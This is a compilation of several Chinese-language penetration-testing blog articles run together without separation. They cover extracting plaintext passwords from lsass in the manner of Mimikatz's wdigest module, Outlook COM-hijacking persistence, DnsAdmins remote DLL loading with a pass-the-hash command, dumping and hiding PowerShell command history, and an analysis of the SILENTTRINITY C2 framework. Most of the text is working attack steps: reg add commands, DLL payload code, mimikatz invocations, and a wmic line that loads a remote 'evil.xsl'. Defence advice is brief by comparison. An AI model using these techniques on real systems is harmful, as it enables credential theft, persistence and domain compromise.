0x00 前言

Mimikatz中sekurlsa::wdigest是渗透测试中经常会用到的功能,它能够从lsass进程中提取凭据,通常可获得已登录用户的明文口令(Windows Server 2008 R2及更高版本的系统默认无法获得,需要修改注册表等待用户再次登录才能获得)。

XPN在他的博客中记录了对WDigest的研究心得,开源了一个POC,通过C++实现了在Win10_1809 x64下从lsass进程中提取凭据。

本文将会对XPN的POC进行扩展,使其支持Win7/Win8/Windows Server2008/Windows Server2008 R2/Windows Server2012/Windows Server2012 R2,记录程序实现的细节与过程。

XPN的博客:

https://blog.xpnsec.com/exploring-mimikatz-part-1/

POC:

https://gist.github.com/xpn/12a6907a2fce97296428221b3bd3b394

0x02 简介

本文将要介绍以下内容:

· 实现思路

· 程序实现细节

0x03 实现思路

1.提升至Debug权限。

2.获得lsass进程句柄。

3.枚举lsass进程中全部模块的句柄,定位wdigest.dll和lsasrv.dll在内存中的位置。

4.从lsasrv.dll中获得InitializationVector,AES和3DES的值,用于解密。

5.从wdigest.dll中获得每条凭据的信息,判断加密算法,解密获得明文口令。

具体说明如下:

1. 提升至Debug权限

代码可直接使用之前的代码:

https://github.com/3gstudent/Homework-of-C-Language/blob/master/CheckCriticalProess.cpp#L14-L29

2. 获得lsass进程句柄

· 通过CreateToolhelp32Snapshot创建进程快照

· 遍历进程列表

· 搜索进程lsass.exe,获得pid

· 获得lsass进程句柄

3. 枚举lsass进程中全部模块的句柄,定位wdigest.dll和lsasrv.dll在内存中的位置

通过EnumProcessModules枚举lsass进程中全部模块的句柄。

4. 从lsasrv.dll中获得InitializationVector,AES和3DES的值,用于解密

不同系统的偏移位置不同,详细可参考mimikatz的源码:

https://github.com/gentilkiwi/mimikatz/blob/68ac65b426d1b9e1354dd0365676b1ead15022de/mimikatz/modules/sekurlsa/crypto/kuhl_m_sekurlsa_nt6.c#L8-L32

偏移不同的位置有以下四个:

· LsaInitializeProtectedMemory_KEY

· int IV_OFFSET

· int DES_OFFSET

· int AES_OFFSET

不同系统下AES和3DES的数据结构也不同:

Win7:

typedef struct _KIWI_BCRYPT_KEY {
	ULONG size;
	ULONG tag;	// 'MSSK'
	ULONG type;
	ULONG unk0;
	ULONG unk1;
	ULONG bits;
	KIWI_HARD_KEY hardkey;
} KIWI_BCRYPT_KEY, *PKIWI_BCRYPT_KEY;

注:来源于 https://github.com/gentilkiwi/mimikatz/blob/master/modules/kull_m_crypto.h#L56

Win8和Win10:

typedef struct _KIWI_BCRYPT_KEY81 {
	ULONG size;
	ULONG tag;	// 'MSSK'
	ULONG type;
	ULONG unk0;
	ULONG unk1;
	ULONG unk2; 
	ULONG unk3;
	ULONG unk4;
	PVOID unk5;	// before, align in x64
	ULONG unk6;
	ULONG unk7;
	ULONG unk8;
	ULONG unk9;
	KIWI_HARD_KEY hardkey;
} KIWI_BCRYPT_KEY81, *PKIWI_BCRYPT_KEY81;

注:来源于 https://github.com/gentilkiwi/mimikatz/blob/master/mimikatz/modules/sekurlsa/crypto/kuhl_m_sekurlsa_nt6.h#L22

其中,KIWI_BCRYPT_KEY和KIWI_BCRYPT_KEY81中的KIWI_HARD_KEY存储AES和3DES的数据,结构如下:

typedef struct _KIWI_HARD_KEY {
	ULONG cbSecret;
	BYTE data[ANYSIZE_ARRAY]; // etc...
} KIWI_HARD_KEY, *PKIWI_HARD_KEY;

注:来源于 https://github.com/gentilkiwi/mimikatz/blob/master/modules/kull_m_crypto.h#L51

ULONG cbSecret表示长度,BYTE data[ANYSIZE_ARRAY]为实际加密内容。

5. 从wdigest.dll中获得每条凭据的信息,解密出明文口令

凭据信息位于固定偏移位置,可通过搜索固定结构(BYTE PTRN_WIN6_PasswdSet[] = {0x48, 0x3b, 0xd9, 0x74};)定位。

注:来源于 https://github.com/gentilkiwi/mimikatz/blob/master/mimikatz/modules/sekurlsa/packages/kuhl_m_sekurlsa_wdigest.c#L14

每条凭据以双链表的格式存储,格式如下:

typedef struct _KIWI_WDIGEST_LIST_ENTRY {
	struct _KIWI_WDIGEST_LIST_ENTRY *Flink;
	struct _KIWI_WDIGEST_LIST_ENTRY *Blink;
	ULONG	UsageCount;
	struct _KIWI_WDIGEST_LIST_ENTRY *This;
	LUID LocallyUniqueIdentifier;
} KIWI_WDIGEST_LIST_ENTRY, *PKIWI_WDIGEST_LIST_ENTRY;

注:来源于 https://github.com/gentilkiwi/mimikatz/blob/master/mimikatz/modules/sekurlsa/packages/kuhl_m_sekurlsa_wdigest.h#L14

每个节点偏移48的位置存储凭据信息,格式如下:

typedef struct _KIWI_GENERIC_PRIMARY_CREDENTIAL
{
	LSA_UNICODE_STRING UserName;
	LSA_UNICODE_STRING Domaine;
	LSA_UNICODE_STRING Password;
} KIWI_GENERIC_PRIMARY_CREDENTIAL, *PKIWI_GENERIC_PRIMARY_CREDENTIAL;

注:来源于 https://github.com/gentilkiwi/mimikatz/blob/master/mimikatz/modules/sekurlsa/globals_sekurlsa.h#L36

每条凭据会根据加密数据的长度选择算法:

· 如果加密后的数据长度为8的倍数,那么在CFB模式下使用AES。

· 否则,在CBC模式下使用3DES。

0x04 程序实现细节

XPN的POC支持在Win10_1809 x64下从lsass进程中提取凭据,地址如下:

https://gist.github.com/xpn/12a6907a2fce97296428221b3bd3b394

为了使其支持Win7/Win8/Windows Server2008/Windows Server2008 R2/Windows Server2012/Windows Server2012 R2,需要考虑如下问题:

1. 添加提升至Debug权限的代码

BOOL EnableDebugPrivilege(BOOL fEnable)
{
	BOOL fOk = FALSE;
	HANDLE hToken;
	if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
	{
		TOKEN_PRIVILEGES tp;
		tp.PrivilegeCount = 1;
		LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);
		tp.Privileges[0].Attributes = fEnable ? SE_PRIVILEGE_ENABLED : 0;
		AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
		fOk = (GetLastError() == ERROR_SUCCESS);
		CloseHandle(hToken);
	}
	return(fOk);
}

2. 判断操作系统版本

这里可以使用之前的代码,地址如下:

https://github.com/3gstudent/Homework-of-C-Language/blob/master/GetOSVersion.cpp

需要注意的是代码对Win10的具体版本没有进行判断,而不同的Win10系统,偏移会有不同,例如Win10_1507和Win10_1903

注:来源于 https://github.com/gentilkiwi/mimikatz/blob/master/mimikatz/modules/sekurlsa/crypto/kuhl_m_sekurlsa_nt6.c#L21-L22

3. 不同操作系统版本对应不同的偏移

影响以下四个参数:

· LsaInitializeProtectedMemory_KEY

· int IV_OFFSET

· int DES_OFFSET

· int AES_OFFSET

4. 不同操作系统版本对应不同的AES和3DES数据结构

Win7:

KIWI_BCRYPT_KEY extracted3DesKey, extractedAesKey;

Win8和Win10:

KIWI_BCRYPT_KEY81 extracted3DesKey, extractedAesKey;

5.对每条凭据中加密数据的长度进行判断

使用不同的解密算法并在输出上进行体现:

· 如果加密后的数据长度为8的倍数,那么在CFB模式下使用AES。

· 否则,在CBC模式下使用3DES。

完整代码已开源,地址如下:

https://github.com/3gstudent/Homework-of-C-Language/blob/master/sekurlsa-wdigest.cpp

代码实现了对64位系统的凭据读取,输出信息同mimikatz的sekurlsa::wdigest结果相同,支持以下操作系统:

· Win7 x64/Windows Server 2008 x64/Windows Server 2008R2 x64

· Win8 x64/Windows Server 2012 x64/Windows Server 2012R2 x64

· Win10_1507(and before 1903) x64

如果想要支持Win10_1903,可添加对Win10_1903及更高版本的系统进行识别,加上对应的偏移计算即可。

如果想要支持32位系统,修改对应变量的偏移即可。

0x05 补充

对于Windows Server 2008 R2及更高版本的系统,默认配置下无法在凭据中保存明文信息,也就无法导出明文口令,可通过修改注册表启用Wdigest Auth解决这个问题,方法如下:

cmd:

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

or powershell:

Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest -Name UseLogonCredential -Type DWORD -Value 1

等待用户再次登录,就能获得凭据中的明文信息。

0x06 小结

本文对XPN的POC进行扩展,使其支持Win7/Win8/Windows Server2008/Windows Server2008 R2/Windows Server2012/Windows Server2012 R2, 实现了Mimikatz中sekurlsa::wdigest的功能,记录程序实现的细节与过程。

0x00 前言

APT组织Trula使用的一个后门利用方法,通过COM劫持实现在Outlook启动时加载dll,特点是只需要当前用户的权限即可实现。

本文将参考公开的资料对这个方法进行测试,编写一个自动化利用脚本,扩展用法,分享多个可用的劫持位置,结合利用思路给出防御建议。

参考资料:

https://www.welivesecurity.com/wp-content/uploads/2018/08/Eset-Turla-Outlook-Backdoor.pdf

0x01 简介

本文将要介绍以下内容:

· 利用方法

· Powershell脚本实现细节

· 扩展用法

· 防御建议

0x02 利用方法

Outlook在启动时会加载多个COM对象,我们可以通过修改注册表的方式劫持Outlook的启动过程,用来加载DLL。

这里的利用方法需要添加两个注册表,修改两个COM对象。

由于是修改HKCU的注册表,所以使用当前用户权限即可。

(1)COM对象1,用来加载第二个COM对象

添加如下注册表:

HKCU\Software\Classes\CLSID\{84DA0A92-25E0-11D3-B9F7-00C04F4C8F5D}\TreatAs = {49CBB1C7-97D1-485A-9EC1-A26065633066}

通过命令行实现的命令如下:

reg add HKCU\Software\Classes\CLSID\{84DA0A92-25E0-11D3-B9F7-00C04F4C8F5D}\TreatAs /t REG_SZ /d "{49CBB1C7-97D1-485A-9EC1-A26065633066}" /f

(2)COM对象2,用来加载DLL

添加如下注册表:

HKCU\Software\Classes\CLSID\{49CBB1C7-97D1-485A-9EC1-A26065633066} = Mail Plugin
HKCU\Software\Classes\CLSID\{49CBB1C7-97D1-485A-9EC1-A26065633066}\InprocServer32 = [Path to the backdoor DLL]
HKCU\Software\Classes\CLSID\{49CBB1C7-97D1-485A-9EC1-A26065633066}\InprocServer32\ThreadingModel = Apartment

通过命令行实现的命令如下:

reg add HKCU\Software\Classes\CLSID\{49CBB1C7-97D1-485A-9EC1-A26065633066} /t REG_SZ /d "Mail Plugin" /f
reg add HKCU\Software\Classes\CLSID\{49CBB1C7-97D1-485A-9EC1-A26065633066}\InprocServer32 /t REG_SZ /d "c:\\test\\calc.dll" /f
reg add HKCU\Software\Classes\CLSID\{49CBB1C7-97D1-485A-9EC1-A26065633066}\InprocServer32 /v ThreadingModel /t REG_SZ /d "Apartment" /f

calc.dll可使用之前的测试DLL,地址为:https://github.com/3gstudent/test/blob/master/calc.dll

添加注册表后启动Outlook,多次加载DLL,弹出多个计算器,这里可以使用互斥量确保只弹出一个计算器,DLL的下载地址:

https://github.com/3gstudent/test/blob/master/calcmutex.dll

对于64位Windows系统,如果安装了32位的Office,两个COM对象的注册表位置需要修改为HKCU\Software\Classes\Wow6432Node\CLSID\

0x03 Powershell脚本实现细节

实现流程如下:

1.判断操作系统位数

2.判断Office软件版本

3.如果是64位系统安装32位Office,注册表的位置为HKCU\Software\Classes\Wow6432Node\CLSID\,否则,注册表的位置为HKCU\Software\Classes\CLSID\

4.添加对应注册表

具体代码如下:

1. 判断操作系统位数

if ([IntPtr]::Size -eq 8)
{
    '64-bit'
}
else
{
    '32-bit'
}

2. 判断安装office软件版本

查看默认安装路径C:\Program Files\Microsoft Office是否包含文件夹MEDIA。

如果包含,那么为64位Office,否则为32位Office。

powershell代码如下:

Try  
{  
	dir C:\Program Files\Microsoft Office\MEDIA
	Write-Host "Microsoft Office: 64-bit"
}
Catch  
{ 
	Write-Host "Microsoft Office: 32-bit"
}

实现代码已开源,地址如下:

https://github.com/3gstudent/Homework-of-Powershell/blob/master/Invoke-OutlookPersistence.ps1

代码实现了自动判断操作系统位数和Office软件版本,添加对应的注册表项。

0x04 扩展用法

使用Process Monitor监控Outlook启动过程,查找是否有其他可用的COM对象

经测试,我在Outlook2013上找到多个可用方法

COM对象1替换成以下任意一个,COM对象2保持不变

可用的COM对象1:

· {B056521A-9B10-425E-B616-1FCD828DB3B1}

· {EFEF7FDB-0CED-4FB6-B3BB-3C50D39F4120}

· {93E5752E-B889-47C5-8545-654EE2533C64}

· {56FDF344-FD6D-11D0-958A-006097C9A090}

· {2163EB1F-3FD9-4212-A41F-81D1F933597F}

· {A6A2383F-AD50-4D52-8110-3508275E77F7}

· {F959DBBB-3867-41F2-8E5F-3B8BEFAA81B3}

· {88D96A05-F192-11D4-A65F-0040963251E5}

· {807583E5-5146-11D5-A672-00B0D022E945}

· {529A9E6B-6587-4F23-AB9E-9C7D683E3C50}

· {3CE74DE4-53D3-4D74-8B83-431B3828BA53}

· {A4B544A1-438D-4B41-9325-869523E2D6C7}

· {33C53A50-F456-4884-B049-85FD643ECFED}

· {C90250F3-4D7D-4991-9B69-A5C5BC1C2AE6}

· {275C23E2-3747-11D0-9FEA-00AA003F8646}

· {C15BB852-6F97-11D3-A990-00104B2A619F}

· {ED475410-B0D6-11D2-8C3B-00104B2A6676}

· {1299CF18-C4F5-4B6A-BB0F-2299F0398E27}

· {DCB00C01-570F-4A9B-8D69-199FDBA5723B}

· {C90250F3-4D7D-4991-9B69-A5C5BC1C2AE6}

0x05 防御建议

监控以下注册表项下的创建和修改操作:

· HKCU\Software\Classes\CLSID\

· HKCU\Software\Classes\Wow6432Node\CLSID\

0x06 小结

本文介绍了通过COM劫持实现在Outlook启动时加载dll的方法,分享多个可用的劫持位置,结合利用思路给出防御建议。

0x00 前言

由Shay Ber公开的一个利用方法,在域环境中,使用DNSAdmin权限能够在DNS服务器上实现远程加载Dll。这不算漏洞,但可以作为一个域渗透的技巧,本文将结合自己的经验整理这个利用技巧,添加自己的理解,对照利用思路给出防御建议。

参考资料:

https://medium.com/@esnesenon/feature-not-bug-dnsadmin-to-dc-compromise-in-one-line-a0f779b8dc83

0x01 简介

本文将要介绍以下内容:

· 详细利用方法

· 防御思路

0x02 详细利用方法

利用条件:

已获得域内DnsAdmins,Domain Admins或者Enterprise Admins组内用户的口令或者hash

注:

默认配置下,不仅仅是DnsAdmins组内的用户,Domain Admins或者Enterprise Admins组内的用户也可以

1、查看关键组内的用户

查看所有的组:

net group /domain

查看DnsAdmins组内的用户:

无法使用net group命令查看,可以使用PowerView查看

import-module .\PowerView.ps1
Get-NetGroupMember -GroupName "DNSAdmins"

查看Domain Admins组内的用户:

net group "Domain Admins" /domain

查看Enterprise Admins组内的用户:

net group "Enterprise Admins" /domain

2、获得关键用户的口令或者hash

需要获得DnsAdmins,Domain Admins或者Enterprise Admins组内任一用户的口令或者hash。

3、准备Payload.dll

需要定义三个导出函数:

· DnsPluginInitialize

· DnsPluginCleanup

· DnsPluginQuery

定义导出函数可以参考之前开源的工程:

https://github.com/3gstudent/Add-Dll-Exports

这里使用def文件的方式声明导出函数,测试代码如下:

dllmain.cpp:

DWORD WINAPI DnsPluginInitialize(PVOID a1, PVOID a2)
{
	return 0;
}

DWORD WINAPI DnsPluginCleanup()
{
	return 0;
}

DWORD WINAPI DnsPluginQuery(PVOID a1, PVOID a2, PVOID a3, PVOID a4)
{
	WinExec("calc.exe", SW_SHOWNORMAL);
	return 0;
}

BOOL APIENTRY DllMain(HMODULE hModule,
	DWORD  ul_reason_for_call,
	LPVOID lpReserved
)
{
	switch (ul_reason_for_call)
	{
	case DLL_PROCESS_ATTACH:
	case DLL_THREAD_ATTACH:
	case DLL_THREAD_DETACH:
	case DLL_PROCESS_DETACH:
		break;
	}
	return TRUE;
}

.def文件:

EXPORTS
DnsPluginInitialize
DnsPluginCleanup
DnsPluginQuery

编译生成testdns.dll。

4、Payload.dll保存的位置

需要能被DNS服务器远程访问。

这里可以使用域内共享文件夹SYSVOL,默认所有的域用户都能访问。

更多细节可参考之前的文章:《域渗透——利用SYSVOL还原组策略中保存的密码》

我的测试域环境名称为test.com,使用的域内共享文件夹路径为:\\test.com\SYSVOL\test.com\scripts\testdns.dll

5、准备dnsadmin

通常,域内的Windows主机不支持dnsadmin命令。

默认安装的系统:

· Windows Server 2003

· Windows Server 2008

· Windows Server 2003 R2

· Windows Server 2008 R2

· Windows Server 2012

· Windows Server 2003 with SP1

参考资料:

https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/cc772069(v=ws.11)

Win7系统在使用时需要安装Remote Server Administration Tools (RSAT)

这里介绍在未安装Remote Server Administration Tools (RSAT)的系统上执行dnscmd命令的方法:

(1)将dnscmd.exe保存在C:\Windows\System32下

可用下载地址:

https://github.com/3gstudent/test/blob/master/dnscmd.exe

(2)将dnscmd.exe.mui保存在C:\Windows\System32\en-US下

可用下载地址:

https://github.com/3gstudent/test/blob/master/dnscmd.exe.mui

注:

dnscmd.exe和dnscmd.exe.mui是在我的测试系统(Windows Server 2008 R2x64)中获得的。

方法细节可参考之前的文章《域渗透——DNS记录的获取》

6、启动dnscmd

dnscmd不支持输入凭据进行远程操作的功能,这里需要使用mimikatz的Over pass the hash功能。

测试环境已获得关键用户的信息如下:

用户名:Administrator 口令:DomainAdmin456! hash:A55E0720F0041193632A58E007624B40

命令行下执行:

mimikatz.exe privilege::debug "sekurlsa::pth /user:Administrator /domain:test.com /ntlm:A55E0720F0041193632A58E007624B40"

这样会弹出一个cmd.exe,在cmd.exe中执行dnscmd命令即可。

也可以实现自动化输入:

命令行下执行:

mimikatz.exe privilege::debug "sekurlsa::pth /user:Administrator /domain:test.com /ntlm:A55E0720F0041193632A58E007624B40 /run:\"cmd.exe /c c:\test\1.bat\""

c:\test\1.bat中保存dnscmd的命令。

7、使用dnscmd命令

DNS服务器的IP:192.168.10.1

命令行执行:

dnscmd 192.168.10.1 /config /serverlevelplugindll \\test.com\SYSVOL\test.com\scripts\testdns.dll

对于DNS服务器来说,此时会新建一个注册表项。

位置:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\DNS\Parameters\

· ServerLevelPluginDll

· REG_SZ

· \\test.com\SYSVOL\test.com\scripts\testdns.dll

8、重启DNS服务后会加载dll

等待DNS服务器重启。

或者远程重启DNS服务器:

sc \\192.168.10.1 stop dns
sc \\192.168.10.1 start dns

DNS服务器的后台进程如下图:

Alt text

dns.exe将会多次调用testdns.dll,权限为System。

9、实际利用

实际环境中,通常DNS服务器和域控制器是同一台主机

0x03 防御建议

1、控制权限

避免关键用户凭据被攻击者获得。

这里可以使用PowerView查看关键用户登陆过哪些主机。

import-module .\PowerView.ps1
Invoke-UserHunter -UserName AdministratorUser

2、监控和设置注册表

位置:KEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\DNS\Parameters\

利用dnscmd在DNS服务器上实现远程加载Dll时,会以System权限修改注册表,如果修改注册表HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\DNS\Parameters\的ACL(Access Control List),删除System用户的Set Value权限,能够阻止这个方法的利用。

如下图:

Alt text

但有可能影响其他正常功能,该注册表项下的其他键值信息如下:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\DNS\Parameters
    GlobalQueryBlockList    REG_MULTI_SZ    wpad\0isatap
    EnableGlobalQueryBlockList    REG_DWORD    0x1
    PreviousLocalHostname    REG_SZ    WIN-F08C969D7FM.test.com
    BootMethod    REG_DWORD    0x3
    AdminConfigured    REG_DWORD    0x1

3、查看日志

(1)记录DNS服务的启动和停止

位置:Application and Services Logs->DNS Server

命令行查看:

wevtutil qe "dns server" /rd:true /f:text

ID为2代表DNS服务启动,ID为4代表DNS服务关闭。

(2)记录添加Dll的操作

需要使用增强版的DNS日志记录和诊断功能,Server2016默认支持,Server2012需要安装补丁2956577

参考文档:

https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn800669(v=ws.11)

补丁说明:

https://support.microsoft.com/en-us/help/2956577/update-adds-query-logging-and-change-auditing-to-windows-dns-servers

补丁下载:

https://www.catalog.update.microsoft.com/Search.aspx?q=2956577

添加Dll的操作会产生ID为541的日志

0x04 小结

本文介绍了利用dnscmd在DNS服务器上实现远程加载Dll的方法,结合利用思路给出防御建议。

0x00 前言

我在最近的学习过程中,发现Powershell命令的历史记录有时会包含系统敏感信息,例如远程服务器的连接口令,于是我对Powershell的历史记录功能做了进一步研究,总结一些渗透测试中常用导出历史记录的方法,结合利用思路,给出防御建议。

0x01 简介

本文将要介绍以下内容:

· 两种Powershell命令的历史记录

· 导出Powershell命令历史记录的方法

· 防御建议

0x02 两种Powershell命令的历史记录

记录Powershell命令的历史记录有两种方式,可分别使用Get-History和Get-PSReadlineOption读取。

1、Get-History

参考文档:

https://docs.microsoft.com/en-us/powershell/module/Microsoft.PowerShell.Core/Get-History?view=powershell-3.0

默认Powershell v2及以上支持。

能够记录当前会话中输入的命令,多个Powershell进程之间不共享,Powershell进程退出后自动清除所有记录。

(1)常用命令

获得历史记录的完整信息:

Get-History | Format-List -Property *

包括:

· Id

· CommandLine

· ExecutionStatus

· StartExecutionTime

· EndExecutionTime

测试如下图:

Alt text

删除所有历史记录:

Clear-History

按ID号删除命令:

Clear-History -Id 3

(2)利用思路

获得了一台Windows系统的权限,发现后台有Powershell进程,想要读取Powershell进程中的历史记录。

①Powershell进程无法接收键盘输入命令。

例如Powershell加载了一个在后台运行的脚本:Powershell -ep bypass -f 1.ps1

此时无法向Powershell进程发送键盘消息,这时可以通过读取进程的命令行参数获得有用的信息,开源代码:

https://github.com/3gstudent/Homework-of-C-Language/blob/master/GetProcessCommandLine.cpp

代码实现了读取指定进程的命令行参数,通常能够获得有用的信息。

②Powershell进程能够接收键盘输入命令

这里可以模拟发送键盘消息,导出历史记录。

程序实现思路:

· 通过遍历枚举所有窗口

· 通过GetWindowThreadProcessId从窗口(HWND)获得PID

· 比较PID,找到符合条件的窗口

· 向符合条件的窗口发送键盘消息(PostMessage)

程序细节:

1.Virtual-Key Codes

每一个键盘输入消息对应一个Virtual-Key Code。

参考资料: https://docs.microsoft.com/en-us/windows/desktop/inputdev/virtual-key-codes

需要模拟键盘按下和键盘抬起两个操作,开源的测试代码:

https://github.com/3gstudent/Homework-of-C-Language/blob/master/SendKeyboardMessageToPowershell.cpp

代码实现了搜索指定pid的进程,向进程发送键盘消息,内容为:whoami

2.导出历史记录

命令如下:

Get-History|export-csv $env:temp"\history.csv"

其中需要考虑字符"|"、"$"和""",模拟键盘输入时需要加Shift键。

这里的实现方法是先使用keybd_event按下Shift键,再用PostMessage发送按键的字母,最后抬起两个按键。

开源的测试代码:

https://github.com/3gstudent/Homework-of-C-Language/blob/master/SendKeyboardMessageToPowershell(Get-History).cpp

代码实现了搜索指定pid的进程,向进程发送键盘消息,内容为:Get-History|export-csv $env:temp"\history.csv"

(3)补充:查看cmd.exe的历史记录

命令如下:

doskey /h

清空:

doskey /reinstall

也可以通过发送键盘消息的方式导出cmd.exe的命令历史记录

2、Get-PSReadlineOption

参考文档:

https://docs.microsoft.com/en-us/powershell/module/psreadline/?view=powershell-5.1

默认Powershell v5支持。

Powershell v3和Powershell v4需要安装Get-PSReadlineOption后才可以使用。

安装后,所有Powershell命令的历史记录会保存在同一位置,可随时查看。

(1)Powershell v3和Powershell v4的安装和使用

这里以64位系统为例,安装方法如下:

①安装PowerShellGet

下载:

https://www.microsoft.com/en-us/download/details.aspx?id=51451

注:安装前需要关闭powershell进程。

可以通过命令行实现隐蔽安装,命令如下:

msiexec /q /i PackageManagement_x64.msi

安装成功后,在控制面板的已安装程序列表(Control Panel\Programs\Programs and Features)有显示:Package Management Preview – x64

可以通过删除对应的注册表项进行隐藏,更多细节可参考《渗透基础——获得当前系统已安装的程序列表》

Package Management Preview – x64的注册表路径为HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{57E5A8BB-41EB-4F09-B332-B535C5954A28}

只需要删除这个注册表项及子项即可实现在已安装程序列表中隐藏

删除注册表项的cmd命令:

reg delete HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{57E5A8BB-41EB-4F09-B332-B535C5954A28} /f

②安装PSReadLine

通过Install-Module命令安装。

Install-Module -Name PSReadLine

弹出提示:

NuGet provider is required to continue
PowerShellGet requires NuGet provider version '2.8.5.201' or newer to interact
with NuGet-based repositories. The NuGet provider must be available in
'C:\Program Files\PackageManagement\ProviderAssemblies' or
'C:\Users\Administrator\AppData\Local\PackageManagement\ProviderAssemblies'.
You can also install the NuGet provider by running 'Install-PackageProvider
-Name NuGet -MinimumVersion 2.8.5.201 -Force'. Do you want PowerShellGet to
install and import the NuGet provider now?
[Y] Yes  [N] No  [S] Suspend  [?] Help (default is "Y"):

需要再次输入Y进行安装。

如果需要实现一键安装,可以先安装NuGet,再安装PSReadLine,完整命令如下:

Install-PackageProvider -Name NuGet -MinimumVersion 2.8.5.201 -Force
Set-PSRepository -Name PSGallery -InstallationPolicy Trusted
Install-Module -Name PSReadLine

③使用

所有powershell命令将会保存在固定位置:%appdata%\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

查看命令的历史记录:

Get-Content (Get-PSReadlineOption).HistorySavePath

清除命令的历史记录:

Remove-Item (Get-PSReadlineOption).HistorySavePath

(2)利用思路

获得了Windows系统的访问权限,首先查看Powershell版本,如果是v5,可通过读取文件%appdata%\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt获得历史记录。

如果系统是Powershell v3或Powershell v4,可通过命令行安装PSReadLine,这样就能记录后续系统所有的Powershell命令.

0x03 防御建议

如果使用高版本的Windows系统,如Win10,默认Powershell版本为5.0,会记录Powershell的命令,建议定时进行清除,位置:

%appdata%\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

清除命令的历史记录:

Remove-Item (Get-PSReadlineOption).HistorySavePath

对于低版本的Powershell,如果命令中包含敏感信息(如远程连接的口令),需要及时清除,命令为:Clear-History

对于cmd.exe,如果命令中包含敏感信息(如远程连接的口令),需要及时清除,命令为:doskey /reinstall

0x04 小结

本文介绍了两种Powershell命令的历史记录,总结常用导出历史记录的方法,结合利用思路,给出防御建议。

0x00 前言

SILENTTRINITY是由byt3bl33d3r开源的一款C2工具,通过C#实现,利用IronPython引擎来执行Python代码,十分值得研究。这款工具通过Python实现payload,不仅提高了效率,而且利用IronPython引擎从内存加载payload,更为隐蔽。

本文将要站在技术研究的角度,分析SILENTTRINITY的原理并进行扩展,最后给出防御检测的建议。

地址:https://github.com/byt3bl33d3r/SILENTTRINITY

0x01 简介

本文将要介绍以下内容:

· SILENTTRINITY的简单使用

· SILENTTRINITY的实现细节

· C#利用IronPython调用Python的方法

· 防御检测的建议

0x02 SILENTTRINITY的简单使用

操作方法同meterpreter相似。

1、安装

git clone https://github.com/byt3bl33d3r/SILENTTRINITY.git
cd SILENTTRINITY
cd Server
python3 -m pip install -r requirements.txt
python3 st.py

2、开启监听

listeners
use http
options
start

3、生成payload

stagers
list
use msbuild
generate http

4、启动方式之一

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe msbuild.xml

0x03 SILENTTRINITY的实现细节

源码的文件结构如下:

· SILENTTRINITY,核心文件,C#开发,格式为exe

· SILENTTRINITY_DLL,内容同上,但格式为dll

· Server,控制端,包括多个Python实现的payload

SILENTTRINITY和SILENTTRINITY_DLL功能相同,只是文件格式不同,所以这里以SILENTTRINITY为例。

1、SILENTTRINITY

实现的功能可参照下图右半部分:

Alt text

注:图片引用自https://github.com/byt3bl33d3r/SILENTTRINITY

详细说明如下:

(1启动IronPython引擎,释放资源文件并导入Python环境

资源文件名:IronPython.StdLib.2.7.9.zip

压缩包内的文件为Python的默认模块。

如果安装了IronPython,压缩包的文件同默认安装路径下C:\Program Files\IronPython 2.7\Lib中的文件内容保持一致。

IronPython下载地址:

https://github.com/IronLanguages/ironpython2/releases/tag/ipy-2.7.9

(2从Server下载stage.zip

stage.zip中包含五个文件:

· IronPython.dll

· IronPython.Modules.dll

· Microsoft.Dynamic.dll

· Microsoft.Scripting.dll

· Main.py

其中,前四个为IronPython引擎的依赖文件,Main.py为主体程序,用于接收控制命令,加载payload,回传输出结果。

(2利用IronPython调用Python

后面将会详细介绍。

2、Server

作为控制端。

modules文件夹下包含所有支持的Python脚本。

stagers文件夹下包含三种启动方式:

· msbuild

· powershell

· wmic

(1)msbuild

启动方式:

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe msbuild.xml

流程:

msbuild.exe->.xml->C#

通过msbuild.exe加载msbuild.xml,这里使用了.NET Framework 4.0中支持了的新功能"Inline Tasks",被包含在元素UsingTask中,可用来在xml文件中执行c#代码。

msbuild.xml实现了将加密字符串做base64解码,解密出SILENTTRINITY,最终在内存中加载(C#实现)。

这个利用方法我在之前的文章有过利用分析:

《Use MSBuild To Do More》

(2)powershell

启动方式:

执行powershell脚本。

流程:

powershell.exe->.ps1->C#

同样是将加密字符串做base64解码,解密出SILENTTRINITY,最终在内存中加载(Powershell实现),关键代码如下:

[Reflection.Assembly]::Load($bytes)
$asm = [Reflection.Assembly]::Load($UncompressedFileBytes)
$type = $asm.GetType("ST")
$main = $type.GetMethod("Main")

表示加载exe中Main下的ST方法。

这个利用方法我在之前的文章有过利用分析:

《利用Assembly Load & LoadFile绕过Applocker的分析总结》

(3)wmic

启动方式:

C:\Windows\System32\wbem\WMIC.exe os get /format:"evil.xsl"

或者

C:\Windows\System32\wbem\WMIC.exe os get /format:"https://example.com/evil.xsl"

流程:

wmic.exe->.xsl->javascript

通过wmic.exe加载wmic.xsl,wmic.xsl可以放在本地,也可以放在远程服务器。

同样是将加密字符串做base64解码,解密出SILENTTRINITY,最终在内存中加载(JavaScript实现)。

这个利用方法我在之前的文章有过利用分析:

《利用wmic调用xsl文件的分析与利用》

(4)其他可供利用的方法

SILENTTRINITY未包括,此处作为扩展,例如:

· regsvr32.exe,《Code Execution of Regsvr32.exe》

· rundll32.exe,《关于利用rundll32执行程序的分析》

